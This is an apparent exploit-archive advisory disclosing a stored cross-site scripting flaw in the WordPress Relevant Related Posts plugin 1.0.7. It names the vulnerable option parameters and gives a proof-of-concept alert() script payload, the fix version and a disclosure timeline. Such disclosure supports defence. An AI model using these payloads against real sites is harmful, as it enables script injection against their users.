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WordPress Relevant Related Posts 1.0.7 Cross Site Scripting

WordPress Relevant Related Posts 1.0.7 Cross Site Scripting
Posted Dec 17, 2015
Authored by Madhu Akula

WordPress Relevant Related Posts plugin version 1.0.7 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 7a47d9d2d10a7e80fb01dc1590a28468

WordPress Relevant Related Posts 1.0.7 Cross Site Scripting

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Plugin Name : Relevant Related Posts Plugin

Effected Version : 1.0.7 (and most probably lower version's if any)

Vulnerability : A3-Cross-Site Scripting (XSS)

Identified by : Madhu Akula



Technical Details

Minimum Level of Access Required : Administrator

PoC - (Proof of Concept) :

The following fields put the payload as below

http://localhost/wp-admin/admin.php?page=related-posts-plugin.php

rltdpstsplgn_options[head] = “><script>alert(1)</script>
rltdpstsplgn_options[no_posts] = “><script>alert(2)</script>


Vulnerable Parameter : rltdpstsplgn_options[head], rltdpstsplgn_options[no_posts]

Type of XSS : Stored

Fixed in : 1.0.8

http://wordpress.org/plugins/relevant/changelog/

Disclosure Timeline

Vendor Contacted : 2014-08-04

Plugin Status : Updated on 2014-08-07

Public Disclosure : October 3, 2015

CVE Number : Not assigned yet

Plugin Description :

Related Posts Plugin allows to display a list of post titles by the widget or by the shortcode. It displays related posts with similar words in category, tags, title or by adding special meta key for posts. Related Posts Plugin is simple to use and to customize - this is what you are looking for.

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